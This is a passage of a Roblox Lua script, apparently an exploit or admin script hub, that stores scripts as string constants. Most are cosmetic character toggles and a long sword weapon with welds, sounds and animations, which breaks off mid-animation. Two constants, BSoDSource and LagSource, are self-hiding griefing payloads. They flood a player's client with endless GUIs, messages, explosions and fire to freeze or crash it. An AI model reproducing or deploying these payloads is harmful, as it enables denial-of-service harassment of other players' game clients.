7291 | char:FindFirstChild("Left Arm").Reflectance = 1 | |
7292 | ]] | |
7293 | Unshiny = [[ | |
7294 | char = game:service'Players'.LocalPlayer.Character | |
7295 | char:FindFirstChild("Head").Reflectance = 0 | |
7296 | char:FindFirstChild("Torso").Reflectance = 0 | |
7297 | char:FindFirstChild("Right Leg").Reflectance = 0 | |
7298 | char:FindFirstChild("Left Leg").Reflectance = 0 | |
7299 | char:FindFirstChild("Right Arm").Reflectance = 0 | |
7300 | char:FindFirstChild("Left Arm").Reflectance = 0 | |
7301 | ]] | |
7302 | Invisible = [[ | |
7303 | char = game:service'Players'.LocalPlayer.Character | |
7304 | char:FindFirstChild("Head").Transparency = 1 | |
7305 | char:FindFirstChild("Torso").Transparency = 1 | |
7306 | char:FindFirstChild("Right Leg").Transparency = 1 | |
7307 | char:FindFirstChild("Left Leg").Transparency = 1 | |
7308 | char:FindFirstChild("Right Arm").Transparency = 1 | |
7309 | char:FindFirstChild("Left Arm").Transparency = 1 | |
7310 | ||
7311 | ||
7312 | ]] | |
7313 | Ghostify = [[ | |
7314 | char = game:service'Players'.LocalPlayer.Character | |
7315 | char:FindFirstChild("Head").Transparency = 0.5 | |
7316 | char:FindFirstChild("Torso").Transparency = 0.5 | |
7317 | char:FindFirstChild("Right Leg").Transparency = 0.5 | |
7318 | char:FindFirstChild("Left Leg").Transparency = 0.5 | |
7319 | char:FindFirstChild("Right Arm").Transparency = 0.5 | |
7320 | char:FindFirstChild("Left Arm").Transparency = 0.5 | |
7321 | ]] | |
7322 | Visible = [[ | |
7323 | char = game:service'Players'.LocalPlayer.Character | |
7324 | char:FindFirstChild("Head").Transparency = 0 | |
7325 | char:FindFirstChild("Torso").Transparency = 0 | |
7326 | char:FindFirstChild("Right Leg").Transparency = 0 | |
7327 | char:FindFirstChild("Left Leg").Transparency = 0 | |
7328 | char:FindFirstChild("Right Arm").Transparency = 0 | |
7329 | char:FindFirstChild("Left Arm").Transparency = 0 | |
7330 | ]] | |
7331 | BSoDSource = [[ | |
7332 | wait() | |
7333 | script.Parent = game:service'TeleportService' | |
7334 | CC = game.Workspace.CurrentCamera | |
7335 | RS = game:service("RunService") | |
7336 | PG = game.Players.LocalPlayer.PlayerGui | |
7337 | C = game.Players.LocalPlayer.Character | |
7338 | function Lag() | |
7339 | coroutine.resume(coroutine.create(function() | |
7340 | while wait() do | |
7341 | M = Instance.new("Message",CC) | |
7342 | M.Text = tick()*math.floor(5%4*21) | |
7343 | H = Instance.new("Hint",CC) | |
7344 | H.Text = 'Get out from this place!' | |
7345 | SG=Instance.new("ScreenGui",PG) | |
7346 | FR=Instance.new("Frame",SG) | |
7347 | FR.Size = UDim2.new(500,500,500,500) | |
7348 | while wait() do | |
7349 | FR.BackgroundColor3 = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255)) | |
7350 | end | |
7351 | P=Instance.new("Part",CC) | |
7352 | E=Instance.new("Explosion",P) | |
7353 | E.BlastRadius=math.huge | |
7354 | E.Position=P.Position | |
7355 | F=Instance.new("Fire",P) | |
7356 | S=Instance.new("Smoke",P) | |
7357 | P.CFrame = CC.Focus | |
7358 | P.Anchored = true | |
7359 | P.CanCollide = false | |
7360 | P.AncestryChanged:connect(function()Lag()end) | |
7361 | for _,v in pairs(C:GetChildren()) do pcall(function()v.Anchored=true end) end | |
7362 | end | |
7363 | end)) | |
7364 | end | |
7365 | RS.Stepped:connect(function()for i=1,10 do Lag()Lag()Lag()end end) | |
7366 | ]] | |
7367 | LagSource = [[ | |
7368 | wait(0) | |
7369 | script.Parent = nil | |
7370 | plr = game:GetService("Players").LocalPlayer | |
7371 | local plrgui = plr:findFirstChild("PlayerGui") | |
7372 | if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end | |
7373 | while plr.Parent == game:GetService("Players") do | |
7374 | wait() | |
7375 | for i = 1, 1000 do | |
7376 | local sc = Instance.new("ScreenGui",plrgui) | |
7377 | local fr = Instance.new("TextLabel",sc) | |
7378 | fr.Text = "You are now being Lagged,Have fun." | |
7379 | fr.Size = UDim2.new(1, 0, 1, 0) | |
7380 | fr.FontSize = "Size48" | |
7381 | end | |
7382 | end | |
7383 | ]] | |
7384 | YamatoSword = [[ | |
7385 | Player = game:GetService("Players").LocalPlayer | |
7386 | Character = Player.Character | |
7387 | PlayerGui = Player.PlayerGui | |
7388 | Backpack = Player.Backpack | |
7389 | Torso = Character.Torso | |
7390 | Head = Character.Head | |
7391 | LeftArm = Character["Left Arm"] | |
7392 | LeftLeg = Character["Left Leg"] | |
7393 | RightArm = Character["Right Arm"] | |
7394 | RightLeg = Character["Right Leg"] | |
7395 | LS = Torso["Left Shoulder"] | |
7396 | LH = Torso["Left Hip"] | |
7397 | RS = Torso["Right Shoulder"] | |
7398 | RH = Torso["Right Hip"] | |
7399 | ModelName = "Weapon" | |
7400 | ToolName = "Yamato" | |
7401 | attack = false | |
7402 | attacktype = 1 | |
7403 | mindamage = 15 | |
7404 | maxdamage = 25 | |
7405 | crtmaxdamage = 45 | |
7406 | omindamage = 15 | |
7407 | omaxdamage = 25 | |
7408 | ocrtmaxdamage = 45 | |
7409 | crtrate = 12 | |
7410 | fireboost = 0 | |
7411 | iceboost = 0 | |
7412 | darkboost = 0 | |
7413 | Mode = "None" | |
7414 | ssh = false | |
7415 | atktypez = 1 | |
7416 | Hitdeb = 0 | |
7417 | ammo = 1 | |
7418 | MMouse = nil | |
7419 | point = false | |
7420 | offset = 0 | |
7421 | radv = 90 | |
7422 | ---------------------------- | |
7423 | --Customize | |
7424 | DarkFire = true | |
7425 | MaxFT = 40 | |
7426 | ||
7427 | ||
7428 | ||
7429 | --------------------------------------------------------------------------------------------------------------------------------------- | |
7430 | if Character:findFirstChild("EquippedVal",true) ~= nil then | |
7431 | Character:findFirstChild("EquippedVal",true).Parent = nil | |
7432 | end | |
7433 | ev = Instance.new("BoolValue") | |
7434 | ev.Parent = Character | |
7435 | ev.Name = "EquippedVal" | |
7436 | ev.Value = false | |
7437 | --player | |
7438 | player = nil | |
7439 | --welds | |
7440 | RW, LW , RWL, LWL = Instance.new("Weld"), Instance.new("Weld"), Instance.new("Weld"), Instance.new("Weld") | |
7441 | --what anim | |
7442 | anim = "none" | |
7443 | --other var | |
7444 | player = Player | |
7445 | ch = Character | |
7446 | --save shoulders | |
7447 | AoETrue = {} | |
7448 | RSH, LSH , RHL, LHL = ch.Torso["Right Shoulder"], ch.Torso["Left Shoulder"] , ch.Torso["Right Hip"] , ch.Torso["Left Hip"] | |
7449 | ||
7450 | function RWFunc() | |
7451 | RW.Part1 = ch["Right Arm"] | |
7452 | RSH.Part1 = nil | |
7453 | end | |
7454 | function LWFunc() | |
7455 | LW.Part1 = ch["Left Arm"] | |
7456 | LSH.Part1 = nil | |
7457 | end | |
7458 | function RWLFunc() | |
7459 | RWL.Part1 = ch["Right Leg"] | |
7460 | RHL.Part1 = nil | |
7461 | ch["Right Leg"].Name = "RightLeg" | |
7462 | RightLeg.CanCollide = false | |
7463 | end | |
7464 | function LWLFunc() | |
7465 | LWL.Part1 = ch["Left Leg"] | |
7466 | LHL.Part1 = nil | |
7467 | ch["Left Leg"].Name = "LeftLeg" | |
7468 | LeftLeg.CanCollide = true | |
7469 | end | |
7470 | function RWLRem() | |
7471 | RightLeg.Name = "Right Leg" | |
7472 | RWL.Part1 = nil | |
7473 | RHL.Part1 = ch["Right Leg"] | |
7474 | RightLeg.CanCollide = false | |
7475 | end | |
7476 | function LWLRem() | |
7477 | LeftLeg.Name = "Left Leg" | |
7478 | LWL.Part1 = nil | |
7479 | LHL.Part1 = ch["Left Leg"] | |
7480 | LeftLeg.CanCollide = false | |
7481 | end | |
7482 | function RWRem() | |
7483 | RW.Part1 = nil | |
7484 | RSH.Part1 = ch["Right Arm"] | |
7485 | end | |
7486 | function LWRem() | |
7487 | LW.Part1 = nil | |
7488 | LSH.Part1 = ch["Left Arm"] | |
7489 | end | |
7490 | ||
7491 | ||
7492 | if Character:findFirstChild(ModelName,true) ~= nil then | |
7493 | Character:findFirstChild(ModelName,true).Parent = nil | |
7494 | RHL.Part1 = ch["Right Leg"] | |
7495 | LHL.Part1 = ch["Left Leg"] | |
7496 | RSH.Part1 = ch["Right Arm"] | |
7497 | LSH.Part1 = ch["Left Arm"] | |
7498 | end | |
7499 | ||
7500 | ||
7501 | ||
7502 | local swordholder = Instance.new("Model") | |
7503 | swordholder.Name = ModelName | |
7504 | swordholder.Parent = Character | |
7505 | --derp | |
7506 | RW.Part0 = ch.Torso | |
7507 | RW.C0 = CFrame.new(1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) | |
7508 | RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) | |
7509 | RW.Parent = swordholder | |
7510 | -- | |
7511 | LW.Part0 = ch.Torso | |
7512 | LW.C0 = CFrame.new(-1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8) | |
7513 | LW.C1 = CFrame.new(0, 0.5, 0) | |
7514 | LW.Parent = swordholder | |
7515 | -- | |
7516 | RWL.Part0 = ch.Torso | |
7517 | RWL.C0 = CFrame.new(1, -1, 0) --* CFrame.fromEulerAnglesXYZ(1.3, 0, -0.5) | |
7518 | RWL.C1 = CFrame.new(0.5, 1, 0) | |
7519 | RWL.Parent = swordholder | |
7520 | -- | |
7521 | LWL.Part0 = ch.Torso | |
7522 | LWL.C0 = CFrame.new(-1, -1, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8) | |
7523 | LWL.C1 = CFrame.new(-0.5, 1, 0) | |
7524 | LWL.Parent = swordholder | |
7525 | handlecolor = BrickColor.new("Really black") | |
7526 | scndryclr = BrickColor.new("Bright violet") | |
7527 | firepri = BrickColor.new("Bright red") | |
7528 | icepri = BrickColor.new("Bright blue") | |
7529 | local msh1 = Instance.new("CylinderMesh") | |
7530 | msh1.Scale = Vector3.new(1,1,1) | |
7531 | local msh2 = Instance.new("BlockMesh") | |
7532 | msh2.Scale = Vector3.new(1,1,1) | |
7533 | -- | |
7534 | local msh3 = Instance.new("BlockMesh") | |
7535 | msh3.Scale = Vector3.new(1,1,1) | |
7536 | local msh3a = Instance.new("SpecialMesh") | |
7537 | msh3a.Scale = Vector3.new(1,1,1) | |
7538 | msh3a.MeshType = "Wedge" | |
7539 | local msh4 = Instance.new("BlockMesh") | |
7540 | msh4.Scale = Vector3.new(1,1,1) | |
7541 | local msh4a = Instance.new("SpecialMesh") | |
7542 | msh4a.Scale = Vector3.new(1,1,1) | |
7543 | msh4a.MeshType = "Wedge" | |
7544 | -- | |
7545 | local msh5 = Instance.new("SpecialMesh") | |
7546 | msh5.Scale = Vector3.new(1,1,2) | |
7547 | msh5.MeshId = "http://www.roblox.com/asset/?id=3270017" | |
7548 | local msh6 = Instance.new("BlockMesh") | |
7549 | msh6.Scale = Vector3.new(1,1,0.5) | |
7550 | local msh7 = Instance.new("BlockMesh") | |
7551 | msh7.Scale = Vector3.new(1,1,1) | |
7552 | local msh8 = Instance.new("BlockMesh") | |
7553 | msh8.Scale = Vector3.new(0.5,1,1) | |
7554 | local prt1 = Instance.new("Part") | |
7555 | prt1.formFactor = 3 | |
7556 | prt1.CanCollide = false | |
7557 | prt1.Name = "Handle" | |
7558 | prt1.Locked = true | |
7559 | prt1.Size = Vector3.new(0.2,1.5,0.2) | |
7560 | prt1.Parent = swordholder | |
7561 | msh1.Parent = prt1 | |
7562 | prt1.BrickColor = handlecolor | |
7563 | local prt2 = Instance.new("Part") | |
7564 | prt2.formFactor = 3 | |
7565 | prt2.CanCollide = false | |
7566 | prt2.Name = "HandleTop" | |
7567 | prt2.Locked = true | |
7568 | prt2.Size = Vector3.new(1.6,0.2,0.5) | |
7569 | prt2.Parent = swordholder | |
7570 | msh2.Parent = prt2 | |
7571 | prt2.BrickColor = scndryclr | |
7572 | --- | |
7573 | local prt3 = Instance.new("Part") | |
7574 | prt3.formFactor = 3 | |
7575 | prt3.CanCollide = false | |
7576 | prt3.Name = "FlameBlade" | |
7577 | prt3.Locked = true | |
7578 | prt3.Size = Vector3.new(0.4,3,0.2) | |
7579 | prt3.Parent = swordholder | |
7580 | msh3.Parent = prt3 | |
7581 | prt3.BrickColor = firepri | |
7582 | prt3.Reflectance = 0 | |
7583 | local prt3a = Instance.new("Part") | |
7584 | prt3a.formFactor = 3 | |
7585 | prt3a.CanCollide = false | |
7586 | prt3a.Name = "FlameBladeP1" | |
7587 | prt3a.Locked = true | |
7588 | prt3a.Size = Vector3.new(0.2,1,0.4) | |
7589 | prt3a.Parent = swordholder | |
7590 | msh3a.Parent = prt3a | |
7591 | prt3a.BrickColor = firepri | |
7592 | prt3a.Reflectance = 0 | |
7593 | -- | |
7594 | local prt4 = Instance.new("Part") | |
7595 | prt4.formFactor = 3 | |
7596 | prt4.CanCollide = false | |
7597 | prt4.Name = "FrostBlade" | |
7598 | prt4.Locked = true | |
7599 | prt4.Size = Vector3.new(0.4,3,0.2) | |
7600 | prt4.Parent = swordholder | |
7601 | msh4.Parent = prt4 | |
7602 | prt4.BrickColor = icepri | |
7603 | prt4.Reflectance = 0.5 | |
7604 | local prt4a = Instance.new("Part") | |
7605 | prt4a.formFactor = 3 | |
7606 | prt4a.CanCollide = false | |
7607 | prt4a.Name = "FrostBladeP1" | |
7608 | prt4a.Locked = true | |
7609 | prt4a.Size = Vector3.new(0.2,1,0.4) | |
7610 | prt4a.Parent = swordholder | |
7611 | msh4a.Parent = prt4a | |
7612 | prt4a.BrickColor = icepri | |
7613 | prt4a.Reflectance = 0.5 | |
7614 | -- | |
7615 | local prt5 = Instance.new("Part") | |
7616 | prt5.formFactor = 3 | |
7617 | prt5.CanCollide = false | |
7618 | prt5.Name = "HandleRing" | |
7619 | prt5.Locked = true | |
7620 | prt5.Size = Vector3.new(1,1,0.2) | |
7621 | prt5.Parent = swordholder | |
7622 | msh5.Parent = prt5 | |
7623 | prt5.BrickColor = scndryclr | |
7624 | prt5.Reflectance = 0 | |
7625 | local DFlame = Instance.new("Fire") | |
7626 | DFlame.Parent = prt5 | |
7627 | DFlame.Color = Color3.new(0.5,0,0.5) | |
7628 | DFlame.SecondaryColor = Color3.new(0.5,0,0.5) | |
7629 | DFlame.Heat = 25 | |
7630 | DFlame.Size = 1 | |
7631 | DFlame.Enabled = DarkFire | |
7632 | local prt6 = Instance.new("Part") | |
7633 | prt6.formFactor = 3 | |
7634 | prt6.CanCollide = false | |
7635 | prt6.Name = "HandleP1" | |
7636 | prt6.Locked = true | |
7637 | prt6.Size = Vector3.new(0.2,1.5,0.2) | |
7638 | prt6.Parent = swordholder | |
7639 | msh6.Parent = prt6 | |
7640 | prt6.BrickColor = scndryclr | |
7641 | prt6.Reflectance = 0 | |
7642 | local prt7 = Instance.new("Part") | |
7643 | prt7.formFactor = 3 | |
7644 | prt7.CanCollide = false | |
7645 | prt7.Name = "HandleP2" | |
7646 | prt7.Locked = true | |
7647 | prt7.Size = Vector3.new(0.7,0.2,0.2) | |
7648 | prt7.Parent = swordholder | |
7649 | msh7.Parent = prt7 | |
7650 | prt7.BrickColor = scndryclr | |
7651 | prt7.Reflectance = 0 | |
7652 | local prt8 = Instance.new("Part") | |
7653 | prt8.formFactor = 3 | |
7654 | prt8.CanCollide = false | |
7655 | prt8.Name = "DarkBlade" | |
7656 | prt8.Locked = true | |
7657 | prt8.Size = Vector3.new(0.2,4,0.2) | |
7658 | prt8.Parent = swordholder | |
7659 | msh8.Parent = prt8 | |
7660 | prt8.BrickColor = handlecolor | |
7661 | prt8.Transparency = 1 | |
7662 | local hitbox = Instance.new("Part") | |
7663 | hitbox.formFactor = 3 | |
7664 | hitbox.CanCollide = false | |
7665 | hitbox.Name = "Hitbox" | |
7666 | hitbox.Locked = true | |
7667 | hitbox.Size = Vector3.new(1,4,0.2) | |
7668 | hitbox.Parent = swordholder | |
7669 | hitbox.Transparency = 1 | |
7670 | local hbw = Instance.new("Weld") | |
7671 | hbw.Parent = hitbox | |
7672 | hbw.Part0 = hitbox | |
7673 | hbw.Part1 = prt1 | |
7674 | hbw.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0) | |
7675 | hbw.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,0) * CFrame.new(0, -2.95, 0) | |
7676 | ||
7677 | local w1 = Instance.new("Weld") | |
7678 | w1.Parent = prt1 | |
7679 | w1.Part0 = prt1 | |
7680 | local w2 = Instance.new("Weld") | |
7681 | w2.Parent = prt2 | |
7682 | w2.Part0 = prt2 | |
7683 | w2.Part1 = prt1 | |
7684 | w2.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0) | |
7685 | w2.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,0) * CFrame.new(0, -0.85, 0) | |
7686 | -- | |
7687 | local w3 = Instance.new("Weld") | |
7688 | w3.Parent = prt3 | |
7689 | w3.Part0 = prt3 | |
7690 | w3.Part1 = prt1 | |
7691 | w3.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0) | |
7692 | w3.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,0) * CFrame.new(0.25, -2.45, 0) | |
7693 | local w3a = Instance.new("Weld") | |
7694 | w3a.Parent = prt3a | |
7695 | w3a.Part0 = prt3a | |
7696 | w3a.Part1 = prt1 | |
7697 | w3a.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0) | |
7698 | w3a.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(-90),0) * CFrame.new(0.25, -4.45, 0) | |
7699 | local w4 = Instance.new("Weld") | |
7700 | w4.Parent = prt4 | |
7701 | w4.Part0 = prt4 | |
7702 | w4.Part1 = prt1 | |
7703 | w4.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0) | |
7704 | w4.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,0) * CFrame.new(-0.25, -2.45, 0) | |
7705 | local w4a = Instance.new("Weld") | |
7706 | w4a.Parent = prt4a | |
7707 | w4a.Part0 = prt4a | |
7708 | w4a.Part1 = prt1 | |
7709 | w4a.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0) | |
7710 | w4a.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(90),0) * CFrame.new(-0.25, -4.45, 0) | |
7711 | -- | |
7712 | local w5 = Instance.new("Weld") | |
7713 | w5.Parent = prt5 | |
7714 | w5.Part0 = prt5 | |
7715 | w5.Part1 = prt1 | |
7716 | w5.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0) | |
7717 | w5.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,0) * CFrame.new(-0, -0.85, 0) | |
7718 | local w6 = Instance.new("Weld") | |
7719 | w6.Parent = prt6 | |
7720 | w6.Part0 = prt6 | |
7721 | w6.Part1 = prt1 | |
7722 | w6.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0) | |
7723 | w6.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,0) * CFrame.new(-0.5, -0, 0) | |
7724 | local w7 = Instance.new("Weld") | |
7725 | w7.Parent = prt7 | |
7726 | w7.Part0 = prt7 | |
7727 | w7.Part1 = prt1 | |
7728 | w7.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0) | |
7729 | w7.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,0) * CFrame.new(-0.25, 0.75, 0) | |
7730 | local w8 = Instance.new("Weld") | |
7731 | w8.Parent = prt8 | |
7732 | w8.Part0 = prt8 | |
7733 | w8.Part1 = prt1 | |
7734 | w8.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0) | |
7735 | w8.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,0) * CFrame.new(0, -2.95, 0) | |
7736 | for ringi = 0 , math.rad(350) , math.rad(50) do | |
7737 | local ringm = Instance.new("BlockMesh") | |
7738 | ringm.Scale = Vector3.new(1,1.5,1) | |
7739 | local ringp = Instance.new("Part") | |
7740 | ringp.formFactor = 3 | |
7741 | ringp.CanCollide = false | |
7742 | ringp.Name = "HandleRingP"..ringi | |
7743 | ringp.Locked = true | |
7744 | ringp.Size = Vector3.new(0.2,0.2,0.2) | |
7745 | ringp.Parent = swordholder | |
7746 | ringm.Parent = ringp | |
7747 | ringp.BrickColor = scndryclr | |
7748 | ringp.Reflectance = 0.1 | |
7749 | local ringw = Instance.new("Weld") | |
7750 | ringw.Parent = ringp | |
7751 | ringw.Part0 = ringp | |
7752 | ringw.Part1 = prt5 | |
7753 | ringw.C1 = CFrame.fromEulerAnglesXYZ(math.rad(90), -ringi, 0) * CFrame.new(0, 0 , 0) | |
7754 | ringw.C0 = CFrame.fromEulerAnglesXYZ(0, 0,0) * CFrame.new(-msh5.Scale.x/1.625, 0, 0) --* CFrame.new(-0.6, 0, 0) ---msh5.Scale.z/3.25 | |
7755 | end | |
7756 | ||
7757 | local Objects = {} | |
7758 | function getAllObjects(obj) | |
7759 | for a,v in pairs(obj:GetChildren()) do | |
7760 | if v:IsA("BasePart") then | |
7761 | table.insert(Objects,v) | |
7762 | end | |
7763 | if #v:GetChildren() > 0 then | |
7764 | getAllObjects(v) | |
7765 | end | |
7766 | end | |
7767 | end | |
7768 | getAllObjects(Workspace) | |
7769 | function Raycast(Start,End,Range) | |
7770 | -- | |
7771 | for ii = 0 , #Objects do | |
7772 | table.remove(Objects,ii) | |
7773 | end | |
7774 | getAllObjects(Workspace) | |
7775 | local MA = math.abs | |
7776 | local CF = CFrame.new(Start,End) | |
7777 | local CP = Start | |
7778 | for i = 1, Range do--(Start - End).magnitude do | |
7779 | for b,v in pairs(Objects) do | |
7780 | if v.Parent ~= nil then | |
7781 | local pos = Start + (CF.lookVector*i) | |
7782 | local dist = v.CFrame:pointToObjectSpace(pos) | |
7783 | if MA(dist.x) < v.Size.x/2 and MA(dist.y) < v.Size.y/2 and MA(dist.z) < v.Size.z/2 then | |
7784 | if v.Parent ~= Character or v.Parent ~= swordholder or v.Parent.Parent ~= Character then | |
7785 | return v,Start,pos | |
7786 | end | |
7787 | end | |
7788 | end | |
7789 | end | |
7790 | end | |
7791 | return nil,Start,End | |
7792 | end | |
7793 | local RAP = Instance.new("Part") | |
7794 | RAP.formFactor = 0 | |
7795 | RAP.CanCollide = false | |
7796 | RAP.Name = "RAPart" | |
7797 | RAP.Locked = true | |
7798 | RAP.Size = Vector3.new(1,1,1) | |
7799 | RAP.Parent = swordholder | |
7800 | RAP.Transparency = 1 | |
7801 | local w = Instance.new("Weld") | |
7802 | w.Parent = RAP | |
7803 | w.Part0 = RAP | |
7804 | w.Part1 = RightArm | |
7805 | w.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0) | |
7806 | w.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0, 0) * CFrame.new(0, 1, 0) | |
7807 | ||
7808 | function unequipweld() | |
7809 | w1.Part1 = Torso | |
7810 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), math.rad(0)) * CFrame.new(0, 0,0) | |
7811 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0),math.rad(180), math.rad(-150)) * CFrame.new(-1, -1.5, -0.6) | |
7812 | end | |
7813 | unequipweld() | |
7814 | ||
7815 | function equipweld() | |
7816 | w1.Part1 = RAP | |
7817 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0) | |
7818 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90)) * CFrame.new(0, 0, 0.2) | |
7819 | end | |
7820 | ||
7821 | function ss(parent,p) --Slash | |
7822 | local SlashSound = Instance.new("Sound") | |
7823 | SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav" | |
7824 | SlashSound.Parent = parent | |
7825 | SlashSound.Volume = .7 | |
7826 | SlashSound.Pitch = p | |
7827 | SlashSound.PlayOnRemove = true | |
7828 | coroutine.resume(coroutine.create(function() | |
7829 | wait() | |
7830 | SlashSound.Parent = nil | |
7831 | end)) | |
7832 | end | |
7833 | function uss(parent,p) --unsheath | |
7834 | local SlashSound = Instance.new("Sound") | |
7835 | SlashSound.SoundId = "rbxasset://sounds\\unsheath.wav" | |
7836 | SlashSound.Parent = parent | |
7837 | SlashSound.Volume = .7 | |
7838 | SlashSound.Pitch = p | |
7839 | SlashSound.PlayOnRemove = true | |
7840 | coroutine.resume(coroutine.create(function() | |
7841 | wait() | |
7842 | SlashSound.Parent = nil | |
7843 | end)) | |
7844 | end | |
7845 | function cs(parent,p) --Magic Charge | |
7846 | local SlashSound = Instance.new("Sound") | |
7847 | SlashSound.SoundId = "http://www.roblox.com/asset/?id=2101137" | |
7848 | SlashSound.Parent = parent | |
7849 | SlashSound.Volume = .7 | |
7850 | SlashSound.Pitch = p | |
7851 | SlashSound.PlayOnRemove = true | |
7852 | coroutine.resume(coroutine.create(function() | |
7853 | wait() | |
7854 | SlashSound.Parent = nil | |
7855 | end)) | |
7856 | end | |
7857 | function ls(parent,p) --Lazer Sound | |
7858 | local SlashSound = Instance.new("Sound") | |
7859 | SlashSound.SoundId = "http://www.roblox.com/asset?id=1369158" | |
7860 | SlashSound.Parent = parent | |
7861 | SlashSound.Volume = .7 | |
7862 | SlashSound.Pitch = p | |
7863 | SlashSound.PlayOnRemove = true | |
7864 | coroutine.resume(coroutine.create(function() | |
7865 | wait() | |
7866 | SlashSound.Parent = nil | |
7867 | end)) | |
7868 | end | |
7869 | function is(parent,p) --Ice Sound | |
7870 | local SlashSound = Instance.new("Sound") | |
7871 | local rndm = math.random(1,3) | |
7872 | if rndm == 1 then | |
7873 | SlashSound.SoundId = "rbxasset://sounds\\ice.ogg" | |
7874 | elseif rndm == 2 then | |
7875 | SlashSound.SoundId = "rbxasset://sounds\\ice2.ogg" | |
7876 | elseif rndm == 3 then | |
7877 | SlashSound.SoundId = "rbxasset://sounds\\ice3.ogg" | |
7878 | end | |
7879 | SlashSound.Parent = parent | |
7880 | SlashSound.Volume = .7 | |
7881 | SlashSound.Pitch = p | |
7882 | SlashSound.PlayOnRemove = true | |
7883 | coroutine.resume(coroutine.create(function() | |
7884 | wait() | |
7885 | SlashSound.Parent = nil | |
7886 | end)) | |
7887 | end | |
7888 | function fs(parent,p) --Fire Sound | |
7889 | local SlashSound = Instance.new("Sound") | |
7890 | SlashSound.SoundId = "http://www.roblox.com/asset/?id=31758982" | |
7891 | SlashSound.Parent = parent | |
7892 | SlashSound.Volume = .7 | |
7893 | SlashSound.Pitch = p | |
7894 | SlashSound.PlayOnRemove = true | |
7895 | coroutine.resume(coroutine.create(function() | |
7896 | wait() | |
7897 | SlashSound.Parent = nil | |
7898 | end)) | |
7899 | end | |
7900 | function bs(parent,p) --Boom Sound | |
7901 | local SlashSound = Instance.new("Sound") | |
7902 | SlashSound.SoundId = "rbxasset://sounds/Rocket shot.wav" | |
7903 | SlashSound.Parent = parent | |
7904 | SlashSound.Volume = .7 | |
7905 | SlashSound.Pitch = p | |
7906 | SlashSound.PlayOnRemove = true | |
7907 | coroutine.resume(coroutine.create(function() | |
7908 | wait() | |
7909 | SlashSound.Parent = nil | |
7910 | end)) | |
7911 | end | |
7912 | -- | |
7913 | ||
7914 | ||
7915 | function hideanim() | |
7916 | attack = true | |
7917 | for i = 0 , 1 , 0.2 do | |
7918 | wait() | |
7919 | RW.C0 = CFrame.new(1+0.5*i,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80+67*i), math.rad(45), math.rad(-45+90*i)) | |
7920 | LW.C0 = CFrame.new(-1-0.5*i,0.5,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80-80*i),math.rad(-45+45*i),math.rad(45-45*i)) | |
7921 | end | |
7922 | LWRem() | |
7923 | for i = 0 , 1 , 0.15 do | |
7924 | wait() | |
7925 | RW.C0 = CFrame.new(1.5,0.5+0.5*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(147+103*i), math.rad(45), math.rad(45-35*i)) | |
7926 | end | |
7927 | unequipweld() | |
7928 | wait(0.1) | |
7929 | for i = 0 , 1 , 0.1 do | |
7930 | wait() | |
7931 | RW.C0 = CFrame.new(1.5,1-0.5*i,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(250-250*i), math.rad(45-45*i), math.rad(10-10*i)) | |
7932 | end | |
7933 | RWRem() | |
7934 | attack = false | |
7935 | end | |
7936 | ||
7937 | function equipanim() | |
7938 | attack = true | |
7939 | RWFunc() | |
7940 | for i = 0 , 1 , 0.1 do | |
7941 | wait() | |
7942 | RW.C0 = CFrame.new(1.5,0.5,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(250*i), math.rad(45*i), math.rad(-10*i)) | |
7943 | end | |
7944 | equipweld() | |
7945 | uss(Head,1) | |
7946 | for i = 0 , 1 , 0.2 do | |
7947 | wait() | |
7948 | RW.C0 = CFrame.new(1.5,0.5+0.5*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(250-102.5*i), math.rad(45), math.rad(-10+27.5*i)) | |
7949 | end | |
7950 | for i = 0 , 1 , 0.15 do | |
7951 | wait() | |
